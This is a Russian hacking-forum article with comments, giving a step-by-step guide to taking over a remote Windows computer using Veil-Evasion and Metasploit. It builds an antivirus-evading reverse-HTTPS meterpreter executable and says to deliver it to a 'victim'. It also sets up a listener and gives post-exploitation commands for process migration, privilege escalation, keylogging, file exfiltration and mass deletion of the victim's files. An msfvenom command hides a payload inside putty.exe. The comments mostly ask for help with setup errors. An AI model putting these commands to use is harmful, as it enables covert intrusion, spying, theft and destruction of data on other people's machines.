Статья Взлом удаленного компьютера, Veil-Evasion, Metasploit

В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.

UPDATE:
Поддержка Veil-Evasion закончилась, рекомендуется использовать фреймворк Veil.
https://codeby.net/threads/veil-framework.60978/


Ниже представлена схема, по которой будет осуществляться проникновение.

upload_2016-7-26_15-33-33.png


Необходимые ресурсы:
1. Kali Linux (Я использовал Kali GNU/Linux Rolling)

2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.

Для начала необходимо установить Veil-Evasion. Чтобы программа создавала корректно работающие файлы, не рекомендую установку apt-get install Veil-Evasion. Фреймворк нужно клонировать c github.com.
Выполните в терминале следующее:
Код:
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
Следим за установкой, соглашаемся и все устанавливаем.

Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.

upload_2016-7-26_15-34-5.png


Далее вводим команду list – она покажет список доступных payload.

upload_2016-7-26_15-34-57.png


Нас интересует номер 32python/meterpreter/reverse_https

Вводим - use 32

upload_2016-7-26_15-35-15.png


Задаем опции будущему файлу, вводим последовательно следующие команды:

set LHOST 83.199.12.XXX (Ваш публичный IP)

set LPORT 443 (По умолчанию HTTPS URL использует 443 TCP-порт (для незащищённого HTTP — 80).

set USE_PYHERION Y (используем энкриптор)

generate (создаем .exe файл)

Вводим имя создаваемого файла.

Выбираем вторую строку, жмем 2.

upload_2016-7-26_15-35-36.png


Ждем успешной генерации файла.

upload_2016-7-26_15-35-57.png


Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.

Выходим из Veil-Evasion.

Запускаем Metasploit.
#msfconsole

Далее
Код:
msf > use multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_https
msf exploit (handler) > set LHOST (свой внутренний IP)
msf exploit (handler)  > set LPORT 443
msf exploit (handler) >exploit
Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.

upload_2016-7-26_15-37-23.png


Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.

Делается это так, вводим:
ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.

migrate (PID процесса).
Migration completed successfully.
Успех. Теперь необходимо повысить права в системе, команда:
getsystem (срабатывает не всегда.)
В целом поможет разобраться стандартная команда help.
Ниже пару моментов которые помогут быстрее освоиться в системе.

1. Кейлоггер
meterpreter > bgrun keylogrecorder

[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2...

2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
Пример:
meterpreter > run file_collector -h
Затем создаем список файлов в одном каталоге:

run file_collector -r -d e:\\ -f * -o /root/ file.txt


Редактируем наш выходной файл, т.к. не все файлы нужны.
cat /root/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst


Скачиваем файлы на свой компьютер.

run file_collector -i /root /file.lst -l /root/

Полагаю не нужно обьяснять, что делают скрипты upload и download)

3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.

4. Удаление файлов. Команды вводятся в шелле.
Получаем его слудующим образом:
meterpreter >shell

Удаление файлов exe:
del e:\*.* /f /s /q

удаление файлов doc:
del e:\*.doc /f /s /q


удаление файлов pdf:
del e:\*.pdf /f /s /q


5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

Краткое пояснение аргументов команды:
- a 86 - архитектура процессора.
--platform windows - тут понятно.
- x - указать пользовательский исполняемый файл для использования в качестве шаблона.
- k - сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
- p - тип полезной нагрузки.
- e - тип енкодера.
- b - помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
- f - формат выходного файла.

За пример взята putty находящаяся в директории /root.
LHOST и LPORT указываем свои.

Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.
 
Последнее редактирование:

CyberX88

Green Team
05.02.2017
122
43
BIT
2
[*] Generating new runw source files...

Traceback (most recent call last):
File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
controller.MainMenu(args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
self.outputFileName = self.PayloadMenu(self.payload, args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
return self.OutputMenu(payload, payloadCode, args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
supportfiles.supportingFiles(self.payload, OutputFileName, {})
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
generatePwnstaller()
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
pwnstallerBuildSource()
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'

вот такая вот у меня проблема,а точнее 2, всегда когда провожу апгрейд то у меня отваливается какая-то утилита и после не запускается Линукс, помоги новичку)
[doublepost=1486312164,1486311874][/doublepost]
примерно тоже самое выдаёт. ставлю на обсалютно чистую кали линукс,, раньше ставил эту же систему всё нормально работало. может не хватает каких то программ, типо аддона для наутилуса? не понимаю в чём проблема, разрядность 64х, не понимаю в чём дело, файл опять же на месте, но программа его не находит, бред, уже голову сломал как такое вообще возможно, помогите пожалуйста
Код:
 Generating new runw source files...

Traceback (most recent call last):
  File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
  controller.MainMenu(args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
  self.outputFileName = self.PayloadMenu(self.payload, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
  return self.OutputMenu(payload, payloadCode, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
  supportfiles.supportingFiles(self.payload, OutputFileName, {})
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
  generatePwnstaller()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
  pwnstallerBuildSource()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
  f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'


У меня точно такая же проблема,но apt-get upgrade не могу, т.к. после этой команды отваливается линукс после перезапуска
 

CyberX88

Green Team
05.02.2017
122
43
BIT
2
Что значит отваливается линукс после перезапуска?
Вовремя апгрейда какая-то утилита не может апгрейдиться и выдаёт ошибку,а когда комп выключаешь, после его не включить из-за того что та утилита которая не апгрейдиться не запускается
 
A

ArtCaT

Интересная статья, постараюсь попробовать в ближайшее время, автору респект, осталось только понять как обходить антивирусы, ды и сорян пока ещё тупой во всем этом только учусь
 
  • Нравится
Реакции: Vander
Ф

Фабин Георг Генрихович

Спасибо, сегодня попробую о результатах отпишусь
 

Den11

Green Team
15.02.2017
41
3
BIT
4
привет! возможно ли такое провернуть с андройдом,но только не в одной локальной сети,а действительно удаленно? спасибо!
[doublepost=1487337458,1487337379][/doublepost]
Как обычный файл, можно Shift + Delete:)
привет! не туда написал,извиняюсь! вщзможно ли с андройдом провернуть? и чтоб не в одной локалке?
[doublepost=1487337579][/doublepost]спасибо за прошлый ответ!
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
  • Нравится
Реакции: ghostphisher
G

gera799

все установил ну после ввода setup.sh -s пишет
Necessary component missing
Please run: bash /root/Veil-Evasion/setup/setup/setup.sh -s
в чем проблема?
[doublepost=1487693698,1487690064][/doublepost][>] Please enter the base name for output files (default is 'payload'): main.exe

[?] How would you like to create your payload executable?

1 - Pyinstaller (default)
2 - Pwnstaller (obfuscated Pyinstaller loader)
3 - Py2Exe

[>] Please enter the number of your choice: 2

=========================================================================
Pwnstaller | [Version]: 1.0
=========================================================================
[Web]: | [Twitter]: @harmj0y
=========================================================================


[*] Generating new runw source files...

Traceback (most recent call last):
File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
controller.MainMenu(args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 976, in MainMenu
self.outputFileName = self.PayloadMenu(self.payload, args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
return self.OutputMenu(payload, payloadCode, args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
supportfiles.supportingFiles(self.payload, OutputFileName, {})
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
generatePwnstaller()
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
pwnstallerBuildSource()
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'
[doublepost=1487693739][/doublepost]скажите в чем проблема?
[doublepost=1487700002][/doublepost]может кто подскажет в чем проблема у меня?
[doublepost=1487750052][/doublepost]всем привет ну что не кто не поможет с ошибкой?
 
G

gera799

все заного установить попробывать?
 
С

сергей799

[>] Please enter the base name for output files (default is 'payload'): Veil.exe

[?] How would you like to create your payload executable?

1 - Pyinstaller (default)
2 - Pwnstaller (obfuscated Pyinstaller loader)
3 - Py2Exe

[>] Please enter the number of your choice: 2

=========================================================================
Pwnstaller | [Version]: 1.0
=========================================================================
[Web]: | [Twitter]: @harmj0y
=========================================================================


[*] Generating new runw source files...

Traceback (most recent call last):
File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
controller.MainMenu(args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 976, in MainMenu
self.outputFileName = self.PayloadMenu(self.payload, args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
return self.OutputMenu(payload, payloadCode, args=args)
File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
supportfiles.supportingFiles(self.payload, OutputFileName, {})
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
generatePwnstaller()
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
pwnstallerBuildSource()
File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'
[doublepost=1487924926,1487924883][/doublepost]ребят подскажите ну что не так я уже всю голову сломал как только не пробывал(
[doublepost=1487925698][/doublepost]есть ккто понимает что тут происходит?

Нарушение правил публикации сообщений. Пункт 5.15
 
Последнее редактирование модератором:

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
По идее, он с самого начала там должен быть, переустанавливать Veil, пробовал?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!